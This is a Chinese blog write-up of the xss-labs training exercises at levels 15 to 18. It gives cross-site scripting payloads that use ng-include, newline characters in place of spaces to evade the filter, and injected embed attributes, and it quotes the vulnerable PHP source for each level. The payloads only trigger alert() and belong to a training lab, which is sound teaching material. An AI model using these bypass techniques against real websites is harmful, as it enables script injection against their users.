Xss-labs-level15-18

╄→гoц情女王★ 提交于 2020-01-20 18:57:07

level15

 

 看了一下源码,啥也没发现;

AngularJS ng-include 指令:

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

 
更换为:
https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
src='level1.php?name=test<img src=1 onerror=alert()>'

level16

 

 

<a%0atype="text"%0a"alert">

换行符%0a取代空格,在html中同样可以运行

<img%0asrc="1.jpg"%0aonerror="alert(1)">
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 

过滤了,空格,script和/

 

level17

 

 

<embed src=xsf01.swf?a=b width=100% heigth=100%>

看到了关键的一句

<embed> 元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。

在embed标签中,src的属性值没有引号,所以在输入arg02时在b之后加一个空格,浏览器到b就停止判断,给src加上双引号;而将onmouseover看作另外一个属性

onmouseover=alert('xss')
<embed src="xsf01.swf?a=b" onmouseover="alert('xss')" heigth="100%" width="100%">

后台源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

 

Level18

http://localhost/xss/level18.php?arg01=a&arg02=b%20onmouseover=alert()
<embed src="xsf02.swf?a=b" onmouseover="alert()" heigth="100%" width="100%">

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!